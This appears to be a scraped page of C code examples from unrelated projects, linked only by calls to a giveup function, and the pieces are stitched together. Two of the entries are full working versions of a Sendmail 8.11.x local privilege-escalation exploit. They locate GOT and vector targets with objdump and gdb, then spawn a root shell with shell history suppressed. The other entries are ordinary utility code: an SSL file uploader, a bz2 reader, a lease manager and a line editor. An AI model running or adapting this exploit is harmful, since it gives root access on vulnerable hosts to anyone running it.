int main(int argc, char *argv[]) {
 char victim[256] = SM;
 char vict[256],gscr[256],
      path[256],d[256],buf[256];
 struct stat st;
 FILE *f;
 struct target t[1024];
 uint off,ep,l;
 int i,j,got,esp;
 int offset = -16384;
 int depth = 32;
 int brute = 0;

 if (!*argv) {
  dup2(2, 0);
  dup2(2, 1);
  setuid(0);
  setgid(0);
  kill(getppid(), SIGUSR1);
  printf(
   "------(*)>+== "
   "ENTERING ROOT SHELL"
   " ==+<(*)------"
   );
  fflush(stdout);
  chdir("/");
  setenv("PATH",
   "/bin:/usr/bin:/usr/local/bin:"
   "/sbin:/usr/sbin:/usr/local/sbin:"
   "/opt/bin:${PATH}",1);
  setenv("BASH_HISTORY",
   "/dev/null", 1);
  execl("/bin/bash", "-bash", NULL);
 }
 printf(
  "  ------------------------------------------------\n"
  "   Sendmail 8.11.x linux i386 exploit  \n"
  "                  wroten by [email protected] [sd@ircnet], \n"
  "                   fixed by [email protected] \n"
  "  ------------------------------------------------\n"
  "   type \"%s -h\" to get help\n",argv[0]
 );

while ((i=getopt(argc,argv,"hd:o:v:t:b"))!=EOF){
 switch (i) {
  case 'd':
   if ((!optarg)||(sscanf(optarg,"%d",&depth)!=1))
    return use(argv[0]);
  break;
  case 'o':
   if ((!optarg)||(sscanf(optarg,"%d",&offset)!=1))
    return use(argv[0]);
  break;
  case 'v':
   if (!optarg)
    return use(argv[0]);
   strcpy(victim,optarg);
  break;
  case 't':
   if (!optarg)
    return use(argv[0]);
   strcpy(ourdir, optarg);
  break;
  case 'b':
   brute++;
  break;
  case 'h':
  default:
   return use(argv[0]);
 }
}
 if (brute)
  printf(
   "[*] brute force "
   "to 20-30mins\n");
 path[0] = 0;
 if (argv[0][0] != '/') {
  getcwd(path, 256);
 }
 sprintf(scode, "%s%s/%s",
    shellcode, path, argv[0]);
 esp = get_esp();
 close(0);
 signal(SIGUSR1, sigusr);
 giveup(-1);
 printf(
  " [Victim=%s][Depth=%d][Offset=%d]\n"
  " [Temp=%s][Offset=%d][ESP=0x%08x]\n",
   victim, depth, offset, ourdir, esp
 );
stat(victim, &st);
if ((st.st_mode & S_ISUID) == 0) {
 printf("[!] Error: %s doesn't have SUID mode\n",
        victim);
}
if (access(victim, R_OK + X_OK + F_OK) < 0) {
 printf("[!] Error: %s must exist, have mode +rx\n",
        victim);
}
if (mkdir(ourdir, 0777) < 0) {
 perror("[!] Error: creating temporary directory\n");
 giveup(1);
}
//printf("[*] creating temp directory - %s\n",
//      ourdir);
sprintf(buf, "%s -R %s | %s setuid",
        OBJDUMP, victim, GREP);
f = popen(buf, "r");
if (fscanf(f, "%x", &got) != 1) {
 pclose(f);
 printf("[!] Error: cannot get "
        "setuid() GOT\n");
 giveup(1);
}
 pclose(f);
 printf("[*] --> Step 1. setuid() "
        "[got=0x%08x]\n", got);
 sprintf(vict, "%s/sm", ourdir);
 printf("[*] --> Step 2. copy "
        "[%s->%s]\n", victim, vict);
 fflush(stdout);
 sprintf(buf, "%s -f %s %s",
         COPYCMD, victim, vict);
 system(buf);
 if (access(vict,R_OK+X_OK+F_OK)<0){
  printf(
   "[!] Error: copy victim to out temp\n");
  giveup(1);
 }

 printf(
    "[*] --> Step 3. disassm our "
    "[%s]\n", vict);
 fflush(stdout);
 if (!brute) {
  sprintf(buf,DLINE,DLINEA);
 } else {
  sprintf(buf,BRUTE_DLINE,BRUTE_DLINEA);
 }
 f = popen(buf, "r");
 i = 0;
 while (fgets(buf,256,f)) {
  int k, dontadd=0;
  if (sscanf(buf,
       "%x: %s %s %s %s %s %s 0x%x,%s\n",
        &ep,d,d,d,d,d,d,&off,d)==9){
   for (k=0;k<i;k++){
    if (t[k].off==off)
     dontadd++;
   }
   if (!dontadd) {
    t[i].off = off;
    t[i++].brk = ep;
   }
  }
 }
 pclose(f);
 sprintf(gscr, "%s/gdb", ourdir);
 off = 0;
 for (j=0; j < i; j++) {
  f = fopen(gscr, "w+");
  if (!f) {
   printf("[!] Error: Cannot create gdb script\n");
   giveup(1);
  }
  fprintf(f,
    "break *0x%x\nr -d1-1.1\nx/x 0x%x\n",
    t[j].brk, t[j].off);
  fclose(f);
  sprintf(buf,
    "%s -batch -x %s %s 2> /dev/null",
    GDB, gscr, vict);
  f = popen(buf, "r");
  if (!f) {
   printf("[!] Error: Failed to spawn gdb!\n");
   giveup(1);
  }
  while (1) {
   char buf[256];
   char *p;
   t[j].vect = 0;
   p = fgets(buf, 256, f);
   if (!p) break;
   if (sscanf(p,"0x%x %s 0x%x",&ep,d,&l)==3){
    t[j].vect = l;
    off++;
    break;
   }
  }
  pclose(f);
  if (t[j].vect) {
   int pid;
   printf(" ++[%d/%d](%d%%) "
          "GOT=0x%08x,VECT=0x%08x,"
          "OFF=%d\n", j, i, j*100/i,
          got, t[j].vect, offset);
   fflush(stdout);
   pid = fork();
   if (pid == 0) {
    close(1);
    sploit(victim,got,t[j].vect,esp+offset);
   }
   wait(NULL);
   if (exploited) {
    wait(NULL);
    printf("        [-*-] We rule! BYE! [-*-]\n");
    exit(0);
   }
  }
 }
 printf(
  "[!] ERROR: all targets failed,"
  "probably not buggie\n");
 giveup(1);
}
Example #2
0
// ssl host port url
// ssl host port url file
// ssl host port url key file
// ssl host port url key file dir sec
int main(int ac, char *av[]) {
   bool dbg;
   SSL_CTX *ctx;
   SSL *ssl;
   int n, sec, getLen, lenLen, fd, sd;
   DIR *dp;
   struct dirent *p;
   struct stat st;
   char get[1024], buf[4096], nm[4096], len[64];

   if (dbg = strcmp(av[ac-1], "+") == 0)
      --ac;
   if (!(ac >= 4 && ac <= 6  ||  ac == 8))
      giveup("host port url [[key] file] | host port url key file dir sec");
   if (strlen(Get)+strlen(av[1])+strlen(av[2])+strlen(av[3]) >= sizeof(get))
      giveup("Names too long");
   getLen = sprintf(get, Get, av[3], av[1], av[2]);

   SSL_library_init();
   SSL_load_error_strings();
   if (!(ctx = SSL_CTX_new(SSLv23_client_method()))) {
      ERR_print_errors_fp(stderr);
      giveup("SSL init");
   }
   SSL_CTX_set_cipher_list(ctx, Ciphers);
   ssl = SSL_new(ctx);

   if (ac <= 6) {
      if (sslConnect(ssl, av[1], av[2]) < 0) {
         ERR_print_errors_fp(stderr);
         giveup("Can't connect");
      }
      if (SSL_write(ssl, get, getLen) < 0) {
         ERR_print_errors_fp(stderr);
         giveup("SSL GET");
      }
      if (ac > 4) {
         if (*av[4]  &&  !sslFile(ssl,av[4]))
            giveup(av[4]);
         if (ac > 5  &&  *av[5]  &&  !sslFile(ssl,av[5]))
            giveup(av[5]);
      }
      while ((n = SSL_read(ssl, buf, sizeof(buf))) > 0)
         write(STDOUT_FILENO, buf, n);
      if (dbg)
         ERR_print_errors_fp(stderr);
      return 0;
   }
   if (!dbg) {
      signal(SIGCHLD,SIG_IGN);  /* Prevent zombies */
      if ((n = fork()) < 0)
         giveup("detach");
      if (n)
         return 0;
      setsid();
   }
   File = av[5];
   Dir = av[6];
   sec = atoi(av[7]);
   signal(SIGINT, doSigTerm);
   signal(SIGTERM, doSigTerm);
   signal(SIGPIPE, SIG_IGN);
   signal(SIGALRM, SIG_IGN);
   for (;;) {
      if (*File && (fd = open(File, O_RDWR)) >= 0) {
         if (fstat(fd,&st) < 0  ||  st.st_size == 0)
            close(fd);
         else {
            lockFile(fd);
            if (fstat(fd,&st) < 0  ||  (Size = st.st_size) == 0)
               giveup("Can't access");
            lenLen = sprintf(len, "%ld\n", Size);
            if ((Data = malloc(Size)) == NULL)
               giveup("Can't alloc");
            if (read(fd, Data, Size) != Size)
               giveup("Can't read");
            Hot = YES;
            if (ftruncate(fd,0) < 0)
               giveup("Can't truncate");
            close(fd);
            for (;;) {
               if ((sd = sslConnect(ssl, av[1], av[2])) >= 0) {
                  alarm(420);
                  if (SSL_write(ssl, get, getLen) == getLen  &&
                           (!*av[4] || sslFile(ssl,av[4]))  &&       // key
                           SSL_write(ssl, len, lenLen) == lenLen  && // length
                           SSL_write(ssl, Data, Size) == Size  &&    // data
                           SSL_write(ssl, "T", 1) == 1  &&           // ack
                           SSL_read(ssl, buf, 1) == 1  &&  buf[0] == 'T' ) {
                     Hot = NO;
                     alarm(0);
                     sslClose(ssl,sd);
                     break;
                  }
                  alarm(0);
                  sslClose(ssl,sd);
               }
               if (dbg)
                  ERR_print_errors_fp(stderr);
               sleep(sec);
            }
            free(Data);
         }
      }
      if (*Dir && (dp = opendir(Dir))) {
         while (p = readdir(dp)) {
            if (p->d_name[0] != '.') {
               snprintf(nm, sizeof(nm), "%s%s", Dir, p->d_name);
               if ((n = readlink(nm, buf, sizeof(buf))) > 0  &&
                        (sd = sslConnect(ssl, av[1], av[2])) >= 0 ) {
                  if (SSL_write(ssl, get, getLen) == getLen  &&
                        (!*av[4] || sslFile(ssl,av[4]))  &&       // key
                        SSL_write(ssl, buf, n) == n  &&           // path
                        SSL_write(ssl, "\n", 1) == 1  &&          // nl
                        sslFile(ssl, nm) )                        // file
                     unlink(nm);
                  sslClose(ssl,sd);
               }
               if (dbg)
                  ERR_print_errors_fp(stderr);
            }
         }
         closedir(dp);
      }
      sleep(sec);
   }
}
void sigusr(int i) {
 exploited++;
 giveup(-1);
}
int main(int argc, char **argv) {
  int fin, res, id=0;
  off_t block_end, block_start, upto;
  id_info_t id_info;
  char *filename = NULL;
  char *type = NULL;
  int optindex=0;
  bz_info_t bfile;
  int verbose = 0;
  int optc;
  int result;

  struct option optvalues[] = {
    {"filename", 1, 0, 'f'},
    {"type", 1, 0, 't'},
    {"verbose", 0, 0, 'v'},
    {"version", 0, 0, 'V'},
    {NULL, 0, NULL, 0}
  };

  while (1) {
    optc = getopt_long_only(argc,argv,"f:hvV", optvalues, &optindex);
    if (optc=='f') {
     filename=optarg;
    }
    else if (optc == 't') {
     type = optarg;
    }
    else if (optc == 'h')
      usage(NULL);
    else if (optc == 'v')
      verbose++;
    else if (optc == 'V')
      show_version(VERSION);
    else if (optc == -1) break;
    else usage("Unknown option or other error\n");
  }

  if (! filename) {
    usage(NULL);
  }

  fin = open (filename, O_RDONLY);
  if (fin < 0) {
    fprintf(stderr,"Failed to open file %s for read\n", filename);
    exit(1);
  }

  bfile.file_size = get_file_size(fin);
  bfile.footer = init_footer();
  bfile.marker = init_marker();
  result = check_file_for_footer(fin, &bfile);
  if (result == -1) {
    bfile.position = bfile.file_size;
  }
  else {
    bfile.position = bfile.file_size - (off_t)11; /* size of footer, perhaps with 1 byte extra */
  }
  bfile.position -=(off_t)6; /* size of marker */
  bfile.initialized = 0;
  bfile.bytes_read = 0;

  /* start at end of file */
  block_end = bfile.position;
  upto = block_end;

  block_start = (off_t)-1;
  id = 0;

  while (!id) {
    bfile.initialized = 0;
    init_decompress(&bfile);

    block_start = find_first_bz2_block_from_offset(&bfile, fin, block_end, BACKWARD);

    if (block_start <= (off_t) 0) giveup(fin);
    BZ2_bzDecompressEnd (&(bfile.strm));

    res = get_last_id_after_offset(fin, &id_info, &bfile, upto, type, verbose);
    if (res > 0) {
      id = id_info.id;
    }
    else {
      upto = block_end;
      block_end = block_start - (off_t) 1;
      if (block_end <= (off_t) 0) giveup(fin);
    }
    BZ2_bzDecompressEnd (&(bfile.strm));
  }
  if (!id) giveup(fin);

  fprintf(stdout, "%s_id:%d\n", type, id);
  close(fin);
  exit(0);
}
Example #5
0
    void LeaseManager::run_lease(const int32_t who)
    {
      int ret = TFS_SUCCESS;
      int32_t SLEEP_TIME_US = 1 * 1000 * 1000;  // 1 seconds
      DsRuntimeGlobalInformation& ds_info = DsRuntimeGlobalInformation::instance();
      while (!ds_info.is_destroyed())
      {
        if (lease_status_[who] == LEASE_APPLY)
        {
          TIMER_START();
          update_stat(who);
          ret = apply(who);
          if (TFS_SUCCESS == ret)
          {
            lease_status_[who] = LEASE_RENEW;
            if (is_master(who))
            {
              get_writable_block_manager().expire_all_blocks();
            }
          }
          TIMER_END();
          TBSYS_LOG(INFO, "apply lease from %s, who: %d, cost: %"PRI64_PREFIX"d, ret: %d",
              tbsys::CNetUtil::addrToString(ns_ip_port_[who]).c_str(), who, TIMER_DURATION(), ret);
        }

        if ((lease_status_[who] == LEASE_RENEW)
            && need_renew(Func::get_monotonic_time(), who))
        {
          TIMER_START();
          update_stat(who);
          // retry renew lease, if renew fail, switch to APPLY state
          for (int i = 0; i < lease_meta_[who].renew_retry_times_; i++)
          {
            ret = renew(lease_meta_[who].renew_retry_timeout_ * 1000, who);
            if (TFS_SUCCESS == ret
              || EIXT_SERVER_OBJECT_NOT_FOUND == ret
              || EXIT_LEASE_EXPIRED == ret)
            {
              break;
            }
          }

          if (TFS_SUCCESS == ret)
          {
            if (is_master(who))
            {
              get_writable_block_manager().expire_update_blocks();
            }
          }
          else
          {
            lease_status_[who] = LEASE_APPLY;
          }
          TIMER_END();
          TBSYS_LOG(INFO, "renew lease from %s, who: %d, cost: %"PRI64_PREFIX"d, ret: %d",
              tbsys::CNetUtil::addrToString(ns_ip_port_[who]).c_str(), who, TIMER_DURATION(), ret);
        }

        usleep(SLEEP_TIME_US);
      }

      TIMER_START();
      ret = giveup(who);
      TIMER_END();
      TBSYS_LOG(INFO, "giveup lease from %s, who: %d, cost: %"PRI64_PREFIX"d, ret: %d",
          tbsys::CNetUtil::addrToString(ns_ip_port_[who]).c_str(), who, TIMER_DURATION(), ret);
    }
Example #6
0
int	main(int argc, char *argv[])
{
	char	victim[256] = SM;
	char	vict[256];
	char	gscr[256];
	char	path[256];
	
	char	d[256];
	struct	stat	st;
	FILE	*f;
	char	buf[256];
	int	got;

	struct	target t[1024];
	uint	off, ep, l;
	int	i,j;

	int	offset = -16384;
	int	esp;
	int	depth = 32;
	int	brute = 0;

	/* rootshell (if argv[0] == NULL) */
	if (!*argv) {
		/* open stdin and stdout */
		dup2(2, 0);
		dup2(2, 1);
		setuid(0);	/* regain root privs */
		setgid(0);
		/* send signal to parent that exploit is done */
		kill(getppid(), SIGUSR1);
		/* l-a-m-e ;) */
		printf("\nVoila babe, entering rootshell!\nEnjoy!\n"); fflush(stdout);
		chdir("/");
		system("/usr/bin/id");
		setenv("BASH_HISTORY", "/dev/null", 1);
		execl("/bin/bash", "-bash", NULL);
	}

	printf("\n...-=[ Sendmail 8.11.x exploit, (c)oded by [email protected] [sd@ircnet], 2001 ]=-...\n"
	       "      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n");

	while ( ( i = getopt(argc, argv, "hd:o:v:t:b") ) != EOF) {
		switch (i) {
			case 'd':
				if ((!optarg) || (sscanf(optarg, "%d", &depth) != 1))
					return use(argv[0]);
				break;
			case 'o':
				if ((!optarg) || (sscanf(optarg, "%d", &offset) != 1))
					return use(argv[0]);
				break;
			case 'v':
				if (!optarg) return use(argv[0]);
				strcpy(victim, optarg);
				break;
			case 't':
				if (!optarg) return use(argv[0]);
				strcpy(ourdir, optarg);
				break;
			case 'b':
				brute++;
				break;
			case 'h':
			default:
				return use(argv[0]);
		}
	}
	if (brute) printf("[*] Using brute force, this may take some time\n");
	/* create full path to rootshell, cause
           sendmail will change it's cwd */
	path[0] = 0;
	if (argv[0][0] != '/') {
		getcwd(path, 256);
	}

	/* construct shellcode */
	sprintf(scode, "%s%s/%s", shellcode, path, argv[0]);

	/* get stack frame */
	esp = get_esp();
	close(0);
	signal(SIGUSR1, sigusr);

	/* remove old stuff */
	giveup(-1);

	printf( "[*] Victim = %s\n"
		"[*] Depth  = %d\n"
		"[*] Offset = %d\n"
		"[*] Temp   = %s\n"
		"[*] ESP    = 0x%08x\n",
		victim,
		depth,
		offset,
		ourdir,
		esp);
	stat(victim, &st);
	if ((st.st_mode & S_ISUID) == 0) {
		printf("[-] Bad: %s isn't suid ;(\n", victim);
	}

	if (access(victim, R_OK + X_OK + F_OK) < 0) {
		printf("[-] Bad: We haven't access to %s !\n", victim);
	}

	if (mkdir(ourdir, 0777) < 0) {
		perror("[-] Can't create our tempdir!\n");
		giveup(1);
	}
	printf("[+] Created %s\n", ourdir);
	sprintf(buf, "%s -R %s | grep setuid", OBJDUMP, victim);
	f = popen(buf, "r");
	if (fscanf(f, "%x", &got) != 1) {
		pclose(f);
		printf("[-] Cannot get setuid() GOT\n");
		giveup(1);
	}
	/* get GOT */
	pclose(f);
	printf("[+] Step 1. setuid() got = 0x%08x\n", got);
	sprintf(vict, "%s/sm", ourdir);
	printf("[*] Step 2. Copying %s to %s...", victim, vict); fflush(stdout);
	sprintf(buf, "/bin/cp -f %s %s", victim, vict);
	system(buf);
	if (access(vict, R_OK + X_OK + F_OK) < 0) {
		perror("Failed");
		giveup(1);
	}
	printf("OK\n");
	/* disassemble & find targets*/
	printf("[*] Step 3. Disassembling %s...", vict); fflush(stdout);
	if (!brute) {
		sprintf(buf, DLINE, DLINEA);
	} else {
		sprintf(buf, BRUTE_DLINE, BRUTE_DLINEA);
	}
	f = popen(buf, "r");
	i = 0;
	while (fgets(buf, 256, f)) {
		int	k, dontadd = 0;
		if (sscanf(buf, "%x: %s %s %s %s %s %s 0x%x,%s\n",
                    &ep, d, d, d, d, d, d, &off, d) == 9) {
			/* same value ? */
			for (k=0; k < i; k++) {
				if (t[k].off == off) dontadd++;
			}
			/* new value ? */
			if (!dontadd) {
				/* add it to table */
				t[i].off = off;
				t[i++].brk = ep;
			}
		}
	}
	pclose(f);
	printf("OK, found %d targets\n", i);

	/* gdb every target and look for theyr VECT */
	printf("[*] Step 4. Exploiting %d targets:\n", i); fflush(stdout);
	sprintf(gscr, "%s/gdb", ourdir);

	off = 0;
	for (j=0; j < i; j++) {
		/* create gdb script */
		f = fopen(gscr, "w+");
		if (!f) {
			printf("Cannot create gdb script\n");
			giveup(1);
		}
		fprintf(f, "break *0x%x\nr -d1-1.1\nx/x 0x%x\n", t[j].brk, t[j].off);
		fclose(f);
		sprintf(buf, "%s -batch -x %s %s 2> /dev/null", GDB, gscr, vict);
		f = popen(buf, "r");
		if (!f) {
			printf("Failed to spawn gdb!\n");
			giveup(1);
		}
		/* scan gdb's output */
		while (1) {
			char buf[256];
			char *p;
			t[j].vect = 0;
			p = fgets(buf, 256, f);
			if (!p) break;
			if (sscanf(p, "0x%x %s 0x%x", &ep, d, &l) == 3) {
				t[j].vect = l;
				off++;
				break;
			}
		}
		pclose(f);
		if (t[j].vect) {
			int	pid;
			printf("[%d] (%d%% of targets) GOT=0x%08x, VECT=0x%08x, offset=%d\n", j, j*100/i , got, t[j].vect, offset);
			fflush(stdout);
			pid = fork();
			if (pid == 0) {
				close(1);
				sploit(victim, got, t[j].vect, esp + offset);
			}
			/* wait until sendmail finishes (expoit failed)
	                   or until SIGUSR arrives */
			wait(NULL);
			/* exploited ?? */
			if (exploited) {
				wait(NULL);	/* kill zombie */
				printf("Thanx for choosing sd's products ;)\n");
				exit(0);
			}
		}
	}
	printf("[-] All targets failed, probably not vulnerable ;(\n");
	giveup(1);
}
Example #7
0
char *
tin_getline(
	const char *prompt,
	int number_only,	/* 1=positive numbers only, 2=negative too */
	const char *str,
	int max_chars,
	t_bool passwd,
	int which_hist)
{
	int c, i, loc, tmp, gl_max;
#if defined(MULTIBYTE_ABLE) && !defined(NO_LOCALE)
	wint_t wc;
#else
	char *buf = gl_buf;
#endif /* MULTIBYTE_ABLE && !NO_LOCALE */

	is_passwd = passwd;

	set_xclick_off();
	if (prompt == NULL)
		prompt = "";

	gl_buf[0] = 0;		/* used as end of input indicator */
	gl_fixup(-1, 0);	/* this resets gl_fixup */
	gl_width = cCOLS - strlen(prompt);
	gl_prompt = prompt;
	gl_pos = gl_cnt = 0;

	if (max_chars == 0) {
		if (number_only)
			gl_max = 6;
		else
			gl_max = BUF_SIZE;
	} else
		gl_max = max_chars;

	my_fputs(prompt, stdout);
	cursoron();
	my_flush();

	if (gl_in_hook) {
		loc = gl_in_hook(gl_buf);
		if (loc >= 0)
			gl_fixup(0, BUF_SIZE);
	}

	if (!cmd_line && gl_max == BUF_SIZE)
		CleartoEOLN();

#if defined(MULTIBYTE_ABLE) && !defined(NO_LOCALE)
	if (str != NULL) {
		wchar_t wbuf[LEN];

		if (mbstowcs(wbuf, str, ARRAY_SIZE(wbuf) - 1) != (size_t) -1) {
			wbuf[ARRAY_SIZE(wbuf) - 1] = (wchar_t) '\0';
			for (i = 0; wbuf[i]; i++)
				gl_addwchar(wbuf[i]);
		}
	}

	while ((wc = ReadWch()) != WEOF) {
		if ((gl_cnt < gl_max) && iswprint(wc)) {
			if (number_only) {
				if (iswdigit(wc)) {
					gl_addwchar(wc);
				/* Minus */
				} else if (number_only == 2 && gl_pos == 0 && wc == (wint_t) '-') {
					gl_addwchar(wc);
				} else {
					ring_bell();
				}
			} else
				gl_addwchar(wc);
		} else {
			c = (int) wc;
			switch (wc) {
#else
	if (str != NULL) {
		for (i = 0; str[i]; i++)
			gl_addchar(str[i]);
	}

	while ((c = ReadCh()) != EOF) {
		c &= 0xff;
		if ((gl_cnt < gl_max) && my_isprint(c)) {
			if (number_only) {
				if (isdigit(c)) {
					gl_addchar(c);
				/* Minus */
				} else if (number_only == 2 && gl_pos == 0 && c == '-') {
					gl_addchar(c);
				} else {
					ring_bell();
				}
			} else
				gl_addchar(c);
		} else {
			switch (c) {
#endif /* MULTIBYTE_ABLE && !NO_LOCALE */
				case ESC:	/* abort */
#ifdef HAVE_KEY_PREFIX
				case KEY_PREFIX:
#endif /* HAVE_KEY_PREFIX */
					switch (get_arrow_key(c)) {
						case KEYMAP_UP:
						case KEYMAP_PAGE_UP:
							hist_prev(which_hist);
							break;

						case KEYMAP_PAGE_DOWN:
						case KEYMAP_DOWN:
							hist_next(which_hist);
							break;

						case KEYMAP_RIGHT:
							gl_fixup(-1, gl_pos + 1);
							break;

						case KEYMAP_LEFT:
							gl_fixup(-1, gl_pos - 1);
							break;

						case KEYMAP_HOME:
							gl_fixup(-1, 0);
							break;

						case KEYMAP_END:
							gl_fixup(-1, gl_cnt);
							break;

						case KEYMAP_DEL:
							gl_del(0);
							break;

						case KEYMAP_INS:
#if defined(MULTIBYTE_ABLE) && !defined(NO_LOCALE)
							gl_addwchar((wint_t) ' ');
#else
							gl_addchar(' ');
#endif /* MULTIBYTE_ABLE && !NO_LOCALE */
							break;

						default:
							return (char *) 0;
					}
					break;

				case '\n':	/* newline */
				case '\r':
					gl_newline(which_hist);
#if defined(MULTIBYTE_ABLE) && !defined(NO_LOCALE)
					wcstombs(buf, gl_buf, BUF_SIZE - 1);
#endif /* MULTIBYTE_ABLE && !NO_LOCALE */
					return buf;

				case CTRL_A:
					gl_fixup(-1, 0);
					break;

				case CTRL_B:
					gl_fixup(-1, gl_pos - 1);
					break;

				case CTRL_D:
					if (gl_cnt == 0) {
						gl_buf[0] = 0;
						my_fputc('\n', stdout);
#if defined(MULTIBYTE_ABLE) && !defined(NO_LOCALE)
						wcstombs(buf, gl_buf, BUF_SIZE - 1);
#endif /* MULTIBYTE_ABLE && !NO_LOCALE */
						return buf;
					} else
						gl_del(0);
					break;

				case CTRL_E:
					gl_fixup(-1, gl_cnt);
					break;

				case CTRL_F:
					gl_fixup(-1, gl_pos + 1);
					break;

				case CTRL_H:
				case DEL:
					gl_del(-1);
					break;

				case TAB:
					if (gl_tab_hook) {
						tmp = gl_pos;
						loc = gl_tab_hook(gl_buf, strlen(gl_prompt), &tmp);
						if (loc >= 0 || tmp != gl_pos)
							gl_fixup(loc, tmp);
					}
					break;

				case CTRL_W:
					gl_kill_back_word();
					break;

				case CTRL_U:
					gl_fixup(-1, 0);
					/* FALLTHROUGH */
				case CTRL_K:
					gl_kill();
					break;

				case CTRL_L:
				case CTRL_R:
					gl_redraw();
					break;

				case CTRL_N:
					hist_next(which_hist);
					break;

				case CTRL_P:
					hist_prev(which_hist);
					break;

				default:
					ring_bell();
					break;
			}
		}
	}
#if defined(MULTIBYTE_ABLE) && !defined(NO_LOCALE)
	wcstombs(buf, gl_buf, BUF_SIZE - 1);
#endif /* MULTIBYTE_ABLE && !NO_LOCALE */
	return buf;
}


/*
 * adds the character c to the input buffer at current location if
 * the character is in the allowed template of characters
 */
static void
#if defined(MULTIBYTE_ABLE) && !defined(NO_LOCALE)
gl_addwchar(
	wint_t wc)
#else
gl_addchar(
	int c)
#endif /* MULTIBYTE_ABLE && !NO_LOCALE */
{
	int i;

	/*
	 * Crashing is always the worst solution IMHO. So as a quick hack,
	 * ignore characters silently, if buffer is full. To allow a final
	 * newline, leave space for one more character. Just a hack too.
	 * This was the original code:
	 *
	if (gl_cnt >= BUF_SIZE - 1) {
		error_message("tin_getline: input buffer overflow");
		giveup();
	}
	 */
	if (gl_cnt >= BUF_SIZE - 2)
		return;

	for (i = gl_cnt; i >= gl_pos; i--)
		gl_buf[i + 1] = gl_buf[i];

#if defined(MULTIBYTE_ABLE) && !defined(NO_LOCALE)
	gl_buf[gl_pos] = (wchar_t) wc;
#else
	gl_buf[gl_pos] = c;
#endif /* MULTIBYTE_ABLE && !NO_LOCALE */
	gl_fixup(gl_pos, gl_pos + 1);
}


/*
 * Cleans up entire line before returning to caller. A \n is appended.
 * If line longer than screen, we redraw starting at beginning
 */
static void
gl_newline(
	int w)
{
	int change = gl_cnt;
	int len = gl_cnt;
	int loc = gl_width - 5;	/* shifts line back to start position */

	if (gl_cnt >= BUF_SIZE - 1) {
		/*
		 * Like above: avoid crashing if possible. gl_addchar() now
		 * leaves one space left for the newline, so this part of the
		 * code should never be reached. A proper implementation is
		 * desirable though.
		 */
		error_message("tin_getline: input buffer overflow");
		giveup();
	}
	hist_add(w);		/* only adds if nonblank */
	if (gl_out_hook) {
		change = gl_out_hook(gl_buf);
#if defined(MULTIBYTE_ABLE) && !defined(NO_LOCALE)
		len = wcslen(gl_buf);
#else
		len = strlen(gl_buf);
#endif /* MULTIBYTE_ABLE && !NO_LOCALE */
	}
	if (loc > len)
		loc = len;
	gl_fixup(change, loc);	/* must do this before appending \n */
#if defined(MULTIBYTE_ABLE) && !defined(NO_LOCALE)
	gl_buf[len] = (wchar_t) '\0';
#else
	gl_buf[len] = '\0';
#endif /* MULTIBYTE_ABLE && !NO_LOCALE */
}


/*
 * Delete a character. The loc variable can be:
 *    -1 : delete character to left of cursor
 *     0 : delete character under cursor
 */
static void
gl_del(
	int loc)
{
	int i;

	if ((loc == -1 && gl_pos > 0) || (loc == 0 && gl_pos < gl_cnt)) {
		for (i = gl_pos + loc; i < gl_cnt; i++)
			gl_buf[i] = gl_buf[i + 1];
		gl_fixup(gl_pos + loc, gl_pos + loc);
	} else
		ring_bell();
}